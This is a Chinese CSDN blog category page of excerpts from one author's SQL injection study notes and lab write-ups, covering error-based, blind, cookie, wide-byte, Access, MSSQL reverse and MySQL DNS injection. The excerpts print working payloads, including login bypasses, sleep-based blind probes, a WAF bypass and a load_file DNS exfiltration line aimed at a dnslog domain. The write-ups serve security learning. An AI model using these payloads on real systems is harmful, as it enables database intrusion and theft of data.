SQL注入
文章平均质量分 73
玛卡巴卡巴巴亚卡
这个作者很懒,什么都没留下…
展开
-
SQL注入总结
一、本质原理:用户输入数据被当做SQL代码执行。条件:用户能控制输入;原本程序要执行的代码拼接了用户数据然后执行。判断:1、and 1=1 页面正常 and 1=2 页面不正常 ps:and 1=1,and 1=2被拦截的可能性高,可以尝试and -1=-1,and -1=-2,and 1>0,or 1=1,或者直接or sleep(5) 2、页面后面加 ' ,看是否报错3、数字型传参尝试-1 id=1和id=2-1都显示id=1的页面...原创 2021-04-23 23:17:03 · 542 阅读 · 1 评论 -
Oracle报错注入靶场
存在5个字段union select null,null,null,null from dualunion select 1,null,null,100 from dualunion select 1,to_nchar('aaa'),to_nchar('bbb'),100 from dualunion select 1,to_nchar(table_name),to_nchar('bbb'),null from user_tables表名admin...原创 2021-04-23 22:48:44 · 660 阅读 · 1 评论 -
五、数据库注入(5)Oracle报错注入
Oracle简介Oracle是三大数据库之一,适合处理大量数据,许多国企,银行,大型企业都在使用。Oracle语法严谨,需要严格遵循select 字段 from 表名eg:在MYSQL中可以使用select database()来查询数据库名,但在Oracle中需要写成select database() from 表的结构Oracle中有一个表Dual,是一个专门用来满足数据库语句结构的表。如果想查询用户名:select user from Dual调用系统函数获得随机值:se.原创 2021-04-21 09:42:13 · 335 阅读 · 1 评论 -
MSSQL反弹注入靶场
方法1——报错注入查找sql注入点2'order by 4 -- asd,知道字段数有3个,且有一个数据表叫news2' union all select 1,'aaa','bbb' from news -- asd联合查询注入发现第2,3个字段是字符类型2' union all select id,name,null from sysobjects where xtype='U' -- asd2' union all select id,name...原创 2021-04-21 07:54:10 · 591 阅读 · 0 评论 -
五、注入(4)MSsql注入——反弹注入
MSSQL反弹注入当明明是注入点却无法进行注入,注入工具猜解速度缓慢,错误提示信息关闭,无法返回注入结果等。这时比较好的方法就是使用反弹注入,需要依靠opendatasource函数支持。反弹注入:目标站点把查询数据的结果插入到黑客的数据库里条件:1、网络通畅(需要公网ip)2、自己的MSSQL数据库可以申请一个免费的虚拟空间,虚拟空间中开启MSSQL然后直接使用,可以免去MSSQL安装环境且不需要特意购置云服务器来获取一个公网IP。香港云 http://www.webweb..原创 2021-04-21 07:50:02 · 224 阅读 · 0 评论 -
五、数据库注入(3)Mysql注入——DNS注入
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候可以通过DNS请求吧想获得的数据外带出来。对于sql盲注,常见方法是用二分法去猜,但是这样很麻烦,还容易因为数据请求过于频繁导致被ban。所以可以把select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。DNS-LOG:DNS服务器的解析记录DNSLOG函数解析1、LOAD_FILE() 读取文件函数,是数据库函数读取文件并且返回文件内容是字符串,使用该函数,文件必须位...原创 2021-04-20 10:51:55 · 237 阅读 · 0 评论 -
mysql——dns注入靶场
因为在?id=1 and 1=2时,waf设置了过滤规则,所以要考虑绕过规则apache的解析是从右往左的,当右边第一个文件不存在的时候会跳过,从而解析第二个文件于是在url后添加一个不存在的1.txt,然后输入?id=1 and 1=1 和?id=1 and 1=2时页面回显正常了,且表示存在sql注入在dnslog上获取一个域名o6bif7.dnslog.cn利用dns注入输入1.txt?id=1and(selectload_file(concat('//',...原创 2021-04-20 10:50:39 · 248 阅读 · 1 评论 -
Access偏移注入靶场作业
因为ID=104和ID=105-1时页面显示内容一样,因此判断存在sql注入不断order by 1,2,3,······,26,到27时,页面无法正常显示,则说明字段有26个把cookie的名称设置为ID,值设置成105,把url栏里面?ID=105删除,刷新,则说明cookie优先级高于get把cookie值设置成105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2.原创 2021-04-19 15:27:59 · 384 阅读 · 0 评论 -
五、数据库注入——(2)access注入——偏移注入
想手工注入和sqlmap爆破,实际上就是爆破字段名,但如果遇到奇奇怪怪的字段名,就无可奈何,这时候就会使用到偏移注入,绕过。select * from admin => select admin.* from admin =>表名.* 代表表名里所有字段偏移注入必须要知道表名(Burp爆破),而且注入点字段数要大于想要查询的字段数,在不知道字段名的情况下获取数据原理解释假设数据表字段是15个,回显点是8admin表中字段有4个分别是id,username,passwor.原创 2021-04-19 14:18:41 · 267 阅读 · 0 评论 -
cookie注入靶场
id = 169和id=170-1的页面显示相同,说明有sql注入字段有10个union select 1,2,3,4,5,6,7,8,9,10 页面对传参进行拦截设置cookie名称是id,值是170发现及时url中没有id值,页面也可以回显id=170的页面,说明cookie值可以影响get传参,也许存在cookie注入用url encode编码下面语句,放入cookie插件中170 union select 1,2,3,4,5,6,7,8,9,1...原创 2021-04-19 10:15:07 · 269 阅读 · 0 评论 -
五、数据库注入——(1)access注入——Cookie注入
一、Cookie一种代表身份的字符串,网站根据Cookie来识别你是谁在动态脚本语言中存在超全局变量可以考虑多种传参方式,很多时候开发的时候为了考虑到多种接收参数,在接收参数的时候用的多种解释传参的方式,如php的$_REQUEST[]可以获取POST|GET|COOKIE值,但php5.4以上版本不会接收Cookie传参了。如果post和get被waf拦截,也许waf没有对cookie拦截,就可以进行cookie传参,绕过监测机制。1、设置cookie:1、依靠浏览器开发者..原创 2021-04-19 08:54:50 · 376 阅读 · 0 评论 -
宽字节注入靶场
题目一——手工注入输入' and 1=1 传参单引号被注释掉了,说明有宽字节注入在1后添加%df传入汉字,注释掉单引号,传参正常了1%df ' and 1=1 -- qwe猜字段,有三个字段1%df' order by 4 -- qwe找回显点,回显点在2和31%df' union select 1,2,3 -- qwe拿库名1%df' union select 1,database(),3 -- qwe拿表名1%df' uni...原创 2021-04-18 19:43:54 · 299 阅读 · 0 评论 -
四、注入(5)宽字节注入
一、魔术引号magic_quotes_gpc 魔术引号开关,判断解析用户提交的数据,包括post、get、cookie过来的数据增加转义字符“\”,确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现的致命错误单引号,双引号,反斜杠\都会被加上反斜杠在php5.4以下有魔术引号,其它选项菜单-打开配置文件-php-ini-写入magic_quotes_gpc = on-重启5.4以上版本变成了函数addslashes()绕过:1、找不需要闭合的地...原创 2021-04-18 11:45:32 · 348 阅读 · 0 评论 -
时间盲注靶场作业
题目1无论输入什么,都会显示有数据这里采用时间盲注,输入1" and sleep(10) -- qwe,有明显的延时,说明存在时间盲注1" and if(length(database())>5,sleep(8),1) -- qwe反复尝试看没有延时感觉的时候,得到数据库长度为121" and if(ascii(substr(database(),1,1)<128),sleep(8),1) -- qwe用sqlmap跑出1'andup...原创 2021-04-17 22:13:47 · 198 阅读 · 0 评论 -
四、注入(4)盲注
一、盲注介绍盲注对应的是显错注入和报错注入union select 联合查询注入updatexml 报错注入只会返回两种状态:1、有数据回显2、无数据回显当页面没有任何回显点,且使用报错注入也无效时,使用盲注盲注分类:1、布尔型盲注布尔:数据类型,返回0或12、时间型盲注二、盲注需要掌握的的函数lenth() 返回字符串长度substr() 截取字符串,语法:SUBSTR(str,pos,len);ascii() 返回字符的ascii码...原创 2021-04-17 19:13:54 · 439 阅读 · 0 评论 -
HEAD注入靶场作业
HEAD注入1——使用mode header报错1、暴力破解密码由于head注入需要知道登录名和密码,于是我们用burp暴力破解出用户名和密码先在登录框中随便输入用户名和密码,用burp抓包,把抓包的内容发送给intruder在intruder-position选项卡中的Attack type选项,选择Cluster bomb,把username后内容和password后内容Add&Payload设置第一个add&和第二个add&,可以猜用户名和使用字..原创 2021-04-17 12:33:20 · 384 阅读 · 0 评论 -
布尔盲注靶场
bool盲注1一、判断是否存在布尔盲注二、使用Burp抓包1、Burp抓包,payload设置1-128,爆破数据库名的长度url输入如下命令,Burp抓包,设置payloadid=1 and ascii(substr(database(),3,1)) =12intruder attack启动后,抓取不正常的length的数据,如下,对应ascii码表,可得到数据库的表名107 97 110 119 111 108 111 110 103 120 105 97..原创 2021-04-17 09:45:00 · 325 阅读 · 0 评论 -
POST注入靶场练习
题目1使用手工注入1、判断是否存在SQL注入(1)admin'后直接使用-- qwe注释(2)使用万能密码admin ' or 1=1 -- qweSQL注入成功2、判断字段数输入admin' order by 3 -- qwe和admin' order by 4 -- qwe,只有order by 3的时候可以输出,则字段数是33、查找回显点admiiin' union select 1,2,3 -- qweps:由于网站输出会输出数据库最上...原创 2021-04-15 17:51:57 · 375 阅读 · 0 评论 -
四、注入(3)POST注入/HEAD注入
一、POST注入POST注入和GET注入没有区别,只是传参不同方法一:手工注入1、猜字段2、查找回显点3、根据数据库自带表information_schema和columns查找数据表和字段4、查找数据详细内容见 文章 四、注入(1)SQL注入原理分析 https://blog.csdn.net/weixin_45540609/article/details/115695687这篇文章的内容其实就是GET注入方法二、sqlmap注入(1)只使用sql...原创 2021-04-15 16:31:10 · 499 阅读 · 0 评论 -
sqlmap自动化注入猫舍靶场练习
使用 python sqlmap.py -u 加上url 扫描存在漏洞,一路enter,paramenter显示有bool盲注--dbs查看有哪些数据库,然后-D进入maoshe数据库--tables查看有哪些数据表,-T进入数据表admin--columns查看有哪些字段算了,直接在admin后面加 --dump脱库吧!铛铛,成功!...原创 2021-04-15 10:21:04 · 942 阅读 · 0 评论 -
SQL注入靶场作业——显错注入RANK1~4
RANK1一、查看是否有SQL漏洞id=2和id=4-2回显相同内容,说明有SQL注入漏洞二、猜字段http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 4说明只有3个字段三、查找回显点2,3字段会显示,所以第2,3字段是回显点四、系统自带库查找表名,字段名http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1.22222%20uni原创 2021-04-14 20:05:11 · 275 阅读 · 0 评论 -
四、注入(1)SQL注入原理分析
一、本质用户输入的数据当做代码执行条件:用户能控制输入原本程序要执行的代码,拼接了用户输入的数据后执行应用场景:任何和数据库交互的传参二、分析1、判断(1)andand 1=1 正确and 1=2 错误有几率有SQL注入(2)加减乘除符号但输入id=2-1,返回id=1的页面的时候,类似,加减乘除运算生效,一定存在SQL注入漏洞ps:url栏里内容经过url编码,会把空格编码成+,所以要输入+,则需要转编码为%2b,在站长工具URL编码中转换(..原创 2021-04-14 14:51:54 · 379 阅读 · 0 评论